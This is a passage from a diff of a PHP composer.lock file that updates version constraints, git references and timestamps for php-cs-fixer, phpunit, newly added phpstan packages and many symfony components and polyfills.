"^5.4.45 || ^6.4.24 || ^7.0 || ^8.0", - "symfony/options-resolver": "^5.4.45 || ^6.4.24 || ^7.0 || ^8.0", - "symfony/polyfill-mbstring": "^1.33", - "symfony/polyfill-php80": "^1.33", - "symfony/polyfill-php81": "^1.33", - "symfony/polyfill-php84": "^1.33", - "symfony/process": "^5.4.47 || ^6.4.24 || ^7.2 || ^8.0", - "symfony/stopwatch": "^5.4.45 || ^6.4.24 || ^7.0 || ^8.0" + "sebastian/diff": "^4.0.6 || ^5.1.1 || ^6.0.2 || ^7.0 || ^8.0 || ^9.0", + "symfony/console": "^5.4.55 || ^6.4.50 || ^7.4.23 || ^8.1.11", + "symfony/event-dispatcher": "^5.4.45 || ^6.4.44 || ^7.4.17 || ^8.1.5", + "symfony/filesystem": "^5.4.56 || ^6.4.50 || ^7.4.23 || ^8.1.11", + "symfony/finder": "^5.4.45 || ^6.4.50 || ^7.4.23 || ^8.1.11", + "symfony/options-resolver": "^5.4.45 || ^6.4.49 || ^7.4.22 || ^8.1.10", + "symfony/polyfill-mbstring": "^1.43.3", + "symfony/polyfill-php80": "^1.43", + "symfony/polyfill-php81": "^1.38.1", + "symfony/polyfill-php84": "^1.43", + "symfony/process": "^5.4.54 || ^6.4.49 || ^7.4.22 || ^8.1.10", + "symfony/stopwatch": "^5.4.45 || ^6.4.24 || ^7.4.8 || ^8.1" }, "require-dev": { - "facile-it/paraunit": "^1.3.1 || ^2.7.1", - "infection/infection": "^0.32.3", - "justinrainbow/json-schema": "^6.6.4", + "facile-it/paraunit": "^1.3.1 || ^2.11.0", + "infection/infection": "^0.32.7", + "justinrainbow/json-schema": "^6.14.0", "keradus/cli-executor": "^2.3", - "mikey179/vfsstream": "^1.6.12", "php-coveralls/php-coveralls": "^2.9.1", - "php-cs-fixer/phpunit-constraint-isidenticalstring": "^1.7", - "php-cs-fixer/phpunit-constraint-xmlmatchesxsd": "^1.7", - "phpunit/phpunit": "^9.6.34 || ^10.5.63 || ^11.5.51", - "symfony/polyfill-php85": "^1.33", - "symfony/var-dumper": "^5.4.48 || ^6.4.32 || ^7.4.4 || ^8.0.4", - "symfony/yaml": "^5.4.45 || ^6.4.30 || ^7.4.1 || ^8.0.1" + "php-cs-fixer/phpunit-constraint-isidenticalstring": "^1.8", + "php-cs-fixer/phpunit-constraint-xmlmatchesxsd": "^1.8", + "phpunit/phpunit": "^9.6.38 || ^10.5.66 || ^11.5.57 || ^12.5.43 || ^13.4.6", + "symfony/polyfill-php85": "^1.43", + "symfony/var-dumper": "^5.4.54 || ^6.4.49 || ^7.4.22 || ^8.1.10", + "symfony/yaml": "^5.4.56 || ^6.4.50 || ^7.4.23 || ^8.1.11" }, "suggest": { "ext-dom": "For handling output formats in XML", @@ -495,7 +562,7 @@ ], "support": { "issues": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/issues", - "source": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/tree/v3.94.2" + "source": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/tree/v3.95.30" }, "funding": [ { @@ -503,7 +570,7 @@ "type": "github" } ], - "time": "2026-02-20T16:13:53+00:00" + "time": "2026-11-09T14:32:19+00:00" }, { "name": "myclabs/deep-copy", @@ -741,6 +808,176 @@ }, "time": "2022-02-21T01:04:05+00:00" }, + { + "name": "phpstan/extension-installer", + "version": "1.4.3", + "source": { + "type": "git", + "url": "https://github.com/phpstan/extension-installer.git", + "reference": "85e90b3942d06b2326fba0403ec24fe912372936" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/extension-installer/zipball/85e90b3942d06b2326fba0403ec24fe912372936", + "reference": "85e90b3942d06b2326fba0403ec24fe912372936", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^2.0", + "php": "^7.2 || ^8.0", + "phpstan/phpstan": "^1.9.0 || ^2.0" + }, + "require-dev": { + "composer/composer": "^2.0", + "php-parallel-lint/php-parallel-lint": "^1.2.0", + "phpstan/phpstan-strict-rules": "^0.11 || ^0.12 || ^1.0" + }, + "type": "composer-plugin", + "extra": { + "class": "PHPStan\\ExtensionInstaller\\Plugin" + }, + "autoload": { + "psr-4": { + "PHPStan\\ExtensionInstaller\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Composer plugin for automatic installation of PHPStan extensions", + "keywords": [ + "dev", + "static analysis" + ], + "support": { + "issues": "https://github.com/phpstan/extension-installer/issues", + "source": "https://github.com/phpstan/extension-installer/tree/1.4.3" + }, + "time": "2024-09-04T20:21:43+00:00" + }, + { + "name": "phpstan/phpstan", + "version": "2.3.5", + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/645a1bd6bead15fc1b8474137467961d0fa30a79", + "reference": "645a1bd6bead15fc1b8474137467961d0fa30a79", + "shasum": "" + }, + "require": { + "php": "^7.4|^8.0" + }, + "conflict": { + "phpstan/phpstan-shim": "*" + }, + "bin": [ + "phpstan", + "phpstan.phar" + ], + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ondřej Mirtes" + }, + { + "name": "Markus Staab" + }, + { + "name": "Vincent Langlet" + } + ], + "description": "PHPStan - PHP Static Analysis Tool", + "keywords": [ + "dev", + "static analysis" + ], + "support": { + "docs": "https://phpstan.org/user-guide/getting-started", + "forum": "https://github.com/phpstan/phpstan/discussions", + "issues": "https://github.com/phpstan/phpstan/issues", + "security": "https://github.com/phpstan/phpstan/security/policy", + "source": "https://github.com/phpstan/phpstan-src" + }, + "funding": [ + { + "url": "https://github.com/ondrejmirtes", + "type": "github" + }, + { + "url": "https://github.com/phpstan", + "type": "github" + } + ], + "time": "2026-11-03T12:14:22+00:00" + }, + { + "name": "phpstan/phpstan-phpunit", + "version": "2.1.1", + "source": { + "type": "git", + "url": "https://github.com/phpstan/phpstan-phpunit.git", + "reference": "8d16b8478e523a47f8c02e83bce8981b5b5a3b03" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan-phpunit/zipball/8d16b8478e523a47f8c02e83bce8981b5b5a3b03", + "reference": "8d16b8478e523a47f8c02e83bce8981b5b5a3b03", + "shasum": "" + }, + "require": { + "phar-io/version": "^3.2", + "php": "^7.4 || ^8.0", + "phpstan/phpstan": "^2.3.0" + }, + "conflict": { + "phpunit/phpunit": "<7.0" + }, + "require-dev": { + "nikic/php-parser": "^5", + "php-parallel-lint/php-parallel-lint": "^1.2", + "phpstan/phpstan-deprecation-rules": "^2.0", + "phpstan/phpstan-strict-rules": "^2.0", + "phpunit/phpunit": "^9.6", + "shipmonk/name-collision-detector": "^2.1" + }, + "type": "phpstan-extension", + "extra": { + "phpstan": { + "includes": [ + "extension.neon", + "rules.neon" + ] + } + }, + "autoload": { + "psr-4": { + "PHPStan\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "PHPUnit extensions and rules for PHPStan", + "keywords": [ + "static analysis" + ], + "support": { + "issues": "https://github.com/phpstan/phpstan-phpunit/issues", + "source": "https://github.com/phpstan/phpstan-phpunit/tree/2.1.1" + }, + "time": "2026-10-06T18:12:32+00:00" + }, { "name": "phpunit/php-code-coverage", "version": "11.0.12", @@ -833,28 +1070,28 @@ }, { "name": "phpunit/php-file-iterator", - "version": "5.1.0", + "version": "5.1.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "118cfaaa8bc5aef3287bf315b6060b1174754af6" + "reference": "2f3a64888c814fc235386b7387dd5b5ed92ad903" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/118cfaaa8bc5aef3287bf315b6060b1174754af6", - "reference": "118cfaaa8bc5aef3287bf315b6060b1174754af6", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/2f3a64888c814fc235386b7387dd5b5ed92ad903", + "reference": "2f3a64888c814fc235386b7387dd5b5ed92ad903", "shasum": "" }, "require": { "php": ">=8.2" }, "require-dev": { - "phpunit/phpunit": "^11.0" + "phpunit/phpunit": "^11.3" }, "type": "library", "extra": { "branch-alias": { - "dev-main": "5.0-dev" + "dev-main": "5.1-dev" } }, "autoload": { @@ -882,15 +1119,27 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", "security": "https://github.com/sebastianbergmann/php-file-iterator/security/policy", - "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/5.1.0" + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/5.1.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/php-file-iterator", + "type": "tidelift" } ], - "time": "2024-08-27T05:02:59+00:00" + "time": "2026-02-02T13:52:54+00:00" }, { "name": "phpunit/php-invoker", @@ -1078,16 +1327,16 @@ }, { "name": "phpunit/phpunit", - "version": "11.5.50", + "version": "11.5.55", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "fdfc727f0fcacfeb8fcb30c7e5da173125b58be3" + "reference": "adc7262fccc12de2b30f12a8aa0b33775d814f00" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/fdfc727f0fcacfeb8fcb30c7e5da173125b58be3", - "reference": "fdfc727f0fcacfeb8fcb30c7e5da173125b58be3", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/adc7262fccc12de2b30f12a8aa0b33775d814f00", + "reference": "adc7262fccc12de2b30f12a8aa0b33775d814f00", "shasum": "" }, "require": { @@ -1102,7 +1351,7 @@ "phar-io/version": "^3.2.1", "php": ">=8.2", "phpunit/php-code-coverage": "^11.0.12", - "phpunit/php-file-iterator": "^5.1.0", + "phpunit/php-file-iterator": "^5.1.1", "phpunit/php-invoker": "^5.0.1", "phpunit/php-text-template": "^4.0.1", "phpunit/php-timer": "^7.0.1", @@ -1114,6 +1363,7 @@ "sebastian/exporter": "^6.3.2", "sebastian/global-state": "^7.0.2", "sebastian/object-enumerator": "^6.0.1", + "sebastian/recursion-context": "^6.0.3", "sebastian/type": "^5.1.3", "sebastian/version": "^5.0.2", "staabm/side-effects-detector": "^1.0.5" @@ -1159,7 +1409,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.50" + "source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.55" }, "funding": [ { @@ -1183,7 +1433,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T05:59:18+00:00" + "time": "2026-02-18T12:37:06+00:00" }, { "name": "psr/container", @@ -2904,16 +3154,16 @@ }, { "name": "symfony/console", - "version": "v7.4.4", + "version": "v7.4.23", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894" + "reference": "81957c2440c05c962fe8291f318de6e85f8db330" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/41e38717ac1dd7a46b6bda7d6a82af2d98a78894", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894", + "url": "https://api.github.com/repos/symfony/console/zipball/81957c2440c05c962fe8291f318de6e85f8db330", + "reference": "81957c2440c05c962fe8291f318de6e85f8db330", "shasum": "" }, "require": { @@ -2978,7 +3228,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v7.4.4" + "source": "https://github.com/symfony/console/tree/v7.4.23" }, "funding": [ { @@ -2998,20 +3248,20 @@ "type": "tidelift" } ], - "time": "2026-01-13T11:36:38+00:00" + "time": "2026-11-03T21:47:07+00:00" }, { "name": "symfony/deprecation-contracts", - "version": "v3.6.0", + "version": "v3.8.1", "source": { "type": "git", "url": "https://github.com/symfony/deprecation-contracts.git", - "reference": "63afe740e99a13ba87ec199bb07bbdee937a5b62" + "reference": "feb1edf4e546af3b85c5caebe8359a20db230ca3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/63afe740e99a13ba87ec199bb07bbdee937a5b62", - "reference": "63afe740e99a13ba87ec199bb07bbdee937a5b62", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/feb1edf4e546af3b85c5caebe8359a20db230ca3", + "reference": "feb1edf4e546af3b85c5caebe8359a20db230ca3", "shasum": "" }, "require": { @@ -3024,7 +3274,7 @@ "name": "symfony/contracts" }, "branch-alias": { - "dev-main": "3.6-dev" + "dev-main": "3.8-dev" } }, "autoload": { @@ -3049,7 +3299,7 @@ "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/deprecation-contracts/tree/v3.6.0" + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.8.1" }, "funding": [ { @@ -3060,25 +3310,29 @@ "url": "https://github.com/fabpot", "type": "github" }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], - "time": "2024-09-25T14:21:43+00:00" + "time": "2026-09-16T14:15:10+00:00" }, { "name": "symfony/event-dispatcher", - "version": "v7.4.4", + "version": "v7.4.17", "source": { "type": "git", "url": "https://github.com/symfony/event-dispatcher.git", - "reference": "dc2c0eba1af673e736bb851d747d266108aea746" + "reference": "d269974ee93c61d03620ffee358355bfdb471d66" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/dc2c0eba1af673e736bb851d747d266108aea746", - "reference": "dc2c0eba1af673e736bb851d747d266108aea746", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/d269974ee93c61d03620ffee358355bfdb471d66", + "reference": "d269974ee93c61d03620ffee358355bfdb471d66", "shasum": "" }, "require": { @@ -3130,7 +3384,7 @@ "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/event-dispatcher/tree/v7.4.4" + "source": "https://github.com/symfony/event-dispatcher/tree/v7.4.17" }, "funding": [ { @@ -3150,20 +3404,20 @@ "type": "tidelift" } ], - "time": "2026-01-05T11:45:34+00:00" + "time": "2026-08-21T17:40:08+00:00" }, { "name": "symfony/event-dispatcher-contracts", - "version": "v3.6.0", + "version": "v3.8.1", "source": { "type": "git", "url": "https://github.com/symfony/event-dispatcher-contracts.git", - "reference": "59eb412e93815df44f05f342958efa9f46b1e586" + "reference": "658e29751424da3ef4758c60f769e59d1b2981eb" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/59eb412e93815df44f05f342958efa9f46b1e586", - "reference": "59eb412e93815df44f05f342958efa9f46b1e586", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/658e29751424da3ef4758c60f769e59d1b2981eb", + "reference": "658e29751424da3ef4758c60f769e59d1b2981eb", "shasum": "" }, "require": { @@ -3177,7 +3431,7 @@ "name": "symfony/contracts" }, "branch-alias": { - "dev-main": "3.6-dev" + "dev-main": "3.8-dev" } }, "autoload": { @@ -3210,7 +3464,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v3.6.0" + "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v3.8.1" }, "funding": [ { @@ -3221,25 +3475,29 @@ "url": "https://github.com/fabpot", "type": "github" }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], - "time": "2024-09-25T14:21:43+00:00" + "time": "2026-09-16T14:15:10+00:00" }, { "name": "symfony/filesystem", - "version": "v7.4.0", + "version": "v7.4.23", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "d551b38811096d0be9c4691d406991b47c0c630a" + "reference": "53d609da66578dad5a39fe290e8f924ec8f05e93" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/d551b38811096d0be9c4691d406991b47c0c630a", - "reference": "d551b38811096d0be9c4691d406991b47c0c630a", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/53d609da66578dad5a39fe290e8f924ec8f05e93", + "reference": "53d609da66578dad5a39fe290e8f924ec8f05e93", "shasum": "" }, "require": { @@ -3276,7 +3534,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v7.4.0" + "source": "https://github.com/symfony/filesystem/tree/v7.4.23" }, "funding": [ { @@ -3296,20 +3554,20 @@ "type": "tidelift" } ], - "time": "2025-11-27T13:27:24+00:00" + "time": "2026-11-04T08:27:22+00:00" }, { "name": "symfony/finder", - "version": "v7.4.5", + "version": "v7.4.23", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb" + "reference": "c723f990aefe8c1053b18374faf4231eba84f518" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", + "url": "https://api.github.com/repos/symfony/finder/zipball/c723f990aefe8c1053b18374faf4231eba84f518", + "reference": "c723f990aefe8c1053b18374faf4231eba84f518", "shasum": "" }, "require": { @@ -3344,7 +3602,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v7.4.5" + "source": "https://github.com/symfony/finder/tree/v7.4.23" }, "funding": [ { @@ -3364,20 +3622,20 @@ "type": "tidelift" } ], - "time": "2026-01-26T15:07:59+00:00" + "time": "2026-11-02T10:56:49+00:00" }, { "name": "symfony/options-resolver", - "version": "v7.4.0", + "version": "v7.4.22", "source": { "type": "git", "url": "https://github.com/symfony/options-resolver.git", - "reference": "b38026df55197f9e39a44f3215788edf83187b80" + "reference": "c95dd81729944936b48f9fecb38ff524eeaf97c0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/options-resolver/zipball/b38026df55197f9e39a44f3215788edf83187b80", - "reference": "b38026df55197f9e39a44f3215788edf83187b80", + "url": "https://api.github.com/repos/symfony/options-resolver/zipball/c95dd81729944936b48f9fecb38ff524eeaf97c0", + "reference": "c95dd81729944936b48f9fecb38ff524eeaf97c0", "shasum": "" }, "require": { @@ -3415,7 +3673,7 @@ "options" ], "support": { - "source": "https://github.com/symfony/options-resolver/tree/v7.4.0" + "source": "https://github.com/symfony/options-resolver/tree/v7.4.22" }, "funding": [ { @@ -3435,20 +3693,20 @@ "type": "tidelift" } ], - "time": "2025-11-12T15:39:26+00:00" + "time": "2026-10-18T14:39:27+00:00" }, { "name": "symfony/polyfill-ctype", - "version": "v1.33.0", + "version": "v1.37.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-ctype.git", - "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638" + "reference": "141046a8f9477948ff284fa65be2095baafb94f2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/a3cc8b044a6ea513310cbd48ef7333b384945638", - "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/141046a8f9477948ff284fa65be2095baafb94f2", + "reference": "141046a8f9477948ff284fa65be2095baafb94f2", "shasum": "" }, "require": { @@ -3498,7 +3756,7 @@ "portable" ], "support": { - "source": "https://github.com/symfony/polyfill-ctype/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.37.0" }, "funding": [ { @@ -3518,20 +3776,20 @@ "type": "tidelift" } ], - "time": "2024-09-09T11:45:10+00:00" + "time": "2026-04-10T16:19:22+00:00" }, { "name": "symfony/polyfill-intl-grapheme", - "version": "v1.33.0", + "version": "v1.43.3", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-grapheme.git", - "reference": "380872130d3a5dd3ace2f4010d95125fde5d5c70" + "reference": "5a8f33c87aeecffce24e721b5064fab05f4becf8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/380872130d3a5dd3ace2f4010d95125fde5d5c70", - "reference": "380872130d3a5dd3ace2f4010d95125fde5d5c70", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/5a8f33c87aeecffce24e721b5064fab05f4becf8", + "reference": "5a8f33c87aeecffce24e721b5064fab05f4becf8", "shasum": "" }, "require": { @@ -3580,7 +3838,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.43.3" }, "funding": [ { @@ -3600,20 +3858,20 @@ "type": "tidelift" } ], - "time": "2025-06-27T09:58:17+00:00" + "time": "2026-10-15T09:18:53+00:00" }, { "name": "symfony/polyfill-intl-normalizer", - "version": "v1.33.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-normalizer.git", - "reference": "3833d7255cc303546435cb650316bff708a1c75c" + "reference": "ebd57ccc7edb93d632e184efbe7693d2517bab3b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/3833d7255cc303546435cb650316bff708a1c75c", - "reference": "3833d7255cc303546435cb650316bff708a1c75c", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/ebd57ccc7edb93d632e184efbe7693d2517bab3b", + "reference": "ebd57ccc7edb93d632e184efbe7693d2517bab3b", "shasum": "" }, "require": { @@ -3665,7 +3923,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.43.0" }, "funding": [ { @@ -3685,20 +3943,20 @@ "type": "tidelift" } ], - "time": "2024-09-09T11:45:10+00:00" + "time": "2026-09-23T22:02:09+00:00" }, { "name": "symfony/polyfill-mbstring", - "version": "v1.33.0", + "version": "v1.43.3", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "6d857f4d76bd4b343eac26d6b539585d2bc56493" + "reference": "122889ed24dc000165bcbfd77ec412f15cbdfc6a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/6d857f4d76bd4b343eac26d6b539585d2bc56493", - "reference": "6d857f4d76bd4b343eac26d6b539585d2bc56493", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/122889ed24dc000165bcbfd77ec412f15cbdfc6a", + "reference": "122889ed24dc000165bcbfd77ec412f15cbdfc6a", "shasum": "" }, "require": { @@ -3750,7 +4008,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.43.3" }, "funding": [ { @@ -3770,20 +4028,20 @@ "type": "tidelift" } ], - "time": "2024-12-23T08:48:59+00:00" + "time": "2026-10-28T09:35:49+00:00" }, { "name": "symfony/polyfill-php80", - "version": "v1.33.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php80.git", - "reference": "0cc9dd0f17f61d8131e7df6b84bd344899fe2608" + "reference": "9c6a5d6b01ca51d486c813e9a9c0ed55f208bb74" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/0cc9dd0f17f61d8131e7df6b84bd344899fe2608", - "reference": "0cc9dd0f17f61d8131e7df6b84bd344899fe2608", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/9c6a5d6b01ca51d486c813e9a9c0ed55f208bb74", + "reference": "9c6a5d6b01ca51d486c813e9a9c0ed55f208bb74", "shasum": "" }, "require": { @@ -3834,7 +4092,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php80/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-php80/tree/v1.43.0" }, "funding": [ { @@ -3854,20 +4112,20 @@ "type": "tidelift" } ], - "time": "2025-01-02T08:10:11+00:00" + "time": "2026-09-25T15:50:05+00:00" }, { "name": "symfony/polyfill-php81", - "version": "v1.33.0", + "version": "v1.38.1", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php81.git", - "reference": "4a4cfc2d253c21a5ad0e53071df248ed48c6ce5c" + "reference": "6bfb9c766cacffbc8e118cb87217d08ed84e5cd7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/4a4cfc2d253c21a5ad0e53071df248ed48c6ce5c", - "reference": "4a4cfc2d253c21a5ad0e53071df248ed48c6ce5c", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/6bfb9c766cacffbc8e118cb87217d08ed84e5cd7", + "reference": "6bfb9c766cacffbc8e118cb87217d08ed84e5cd7", "shasum": "" }, "require": { @@ -3914,7 +4172,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php81/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-php81/tree/v1.38.1" }, "funding": [ { @@ -3934,20 +4192,20 @@ "type": "tidelift" } ], - "time": "2024-09-09T11:45:10+00:00" + "time": "2026-05-26T12:45:58+00:00" }, { "name": "symfony/polyfill-php84", - "version": "v1.33.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php84.git", - "reference": "d8ced4d875142b6a7426000426b8abc631d6b191" + "reference": "22c6548499cbe5c5bb072fc0c42312dff062a015" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php84/zipball/d8ced4d875142b6a7426000426b8abc631d6b191", - "reference": "d8ced4d875142b6a7426000426b8abc631d6b191", + "url": "https://api.github.com/repos/symfony/polyfill-php84/zipball/22c6548499cbe5c5bb072fc0c42312dff062a015", + "reference": "22c6548499cbe5c5bb072fc0c42312dff062a015", "shasum": "" }, "require": { @@ -3994,7 +4252,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php84/tree/v1.33.0" + "source": "https://github.com/symfony/polyfill-php84/tree/v1.43.0" }, "funding": [ { @@ -4014,20 +4272,20 @@ "type": "tidelift" } ], - "time": "2025-06-24T13:30:11+00:00" + "time": "2026-09-23T22:01:09+00:00" }, { "name": "symfony/process", - "version": "v7.4.5", + "version": "v7.4.22", "source": { "type": "git", "url": "https://github.com/symfony/process.git", - "reference": "608476f4604102976d687c483ac63a79ba18cc97" + "reference": "a5a6912edbbfc4c98cd080bc4bbe37c8e7eeb20a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/process/zipball/608476f4604102976d687c483ac63a79ba18cc97", - "reference": "608476f4604102976d687c483ac63a79ba18cc97", + "url": "https://api.github.com/repos/symfony/process/zipball/a5a6912edbbfc4c98cd080bc4bbe37c8e7eeb20a", + "reference": "a5a6912edbbfc4c98cd080bc4bbe37c8e7eeb20a", "shasum": "" }, "require": { @@ -4059,7 +4317,7 @@ "description": "Executes commands in sub-processes", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/process/tree/v7.4.5" + "source": "https://github.com/symfony/process/tree/v7.4.22" }, "funding": [ { @@ -4079,20 +4337,20 @@ "type": "tidelift" } ], - "time": "2026-01-26T15:07:59+00:00" + "time": "2026-10-25T14:40:16+00:00" }, { "name": "symfony/service-contracts", - "version": "v3.6.1", + "version": "v3.8.1", "source": { "type": "git", "url": "https://github.com/symfony/service-contracts.git", - "reference": "45112560a3ba2d715666a509a0bc9521d10b6c43" + "reference": "052852a96fd5e5ebdb617dba22031e41a3300fb5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/service-contracts/zipball/45112560a3ba2d715666a509a0bc9521d10b6c43", - "reference": "45112560a3ba2d715666a509a0bc9521d10b6c43", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/052852a96fd5e5ebdb617dba22031e41a3300fb5", + "reference": "052852a96fd5e5ebdb617dba22031e41a3300fb5", "shasum": "" }, "require": { @@ -4110,7 +4368,7 @@ "name": "symfony/contracts" }, "branch-alias": { - "dev-main": "3.6-dev" + "dev-main": "3.8-dev" } }, "autoload": { @@ -4146,7 +4404,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/service-contracts/tree/v3.6.1" + "source": "https://github.com/symfony/service-contracts/tree/v3.8.1" }, "funding": [ { @@ -4166,20 +4424,20 @@ "type": "tidelift" } ], - "time": "2025-07-15T11:30:57+00:00" + "time": "2026-10-20T17:38:25+00:00" }, { "name": "symfony/stopwatch", - "version": "v7.4.0", + "version": "v7.4.8", "source": { "type": "git", "url": "https://github.com/symfony/stopwatch.git", - "reference": "8a24af0a2e8a872fb745047180649b8418303084" + "reference": "70a852d72fec4d51efb1f48dcd968efcaf5ccb89" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/stopwatch/zipball/8a24af0a2e8a872fb745047180649b8418303084", - "reference": "8a24af0a2e8a872fb745047180649b8418303084", + "url": "https://api.github.com/repos/symfony/stopwatch/zipball/70a852d72fec4d51efb1f48dcd968efcaf5ccb89", + "reference": "70a852d72fec4d51efb1f48dcd968efcaf5ccb89", "shasum": "" }, "require": { @@ -4212,7 +4470,7 @@ "description": "Provides a way to profile code", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/stopwatch/tree/v7.4.0" + "source": "https://github.com/symfony/stopwatch/tree/v7.4.8" }, "funding": [ { 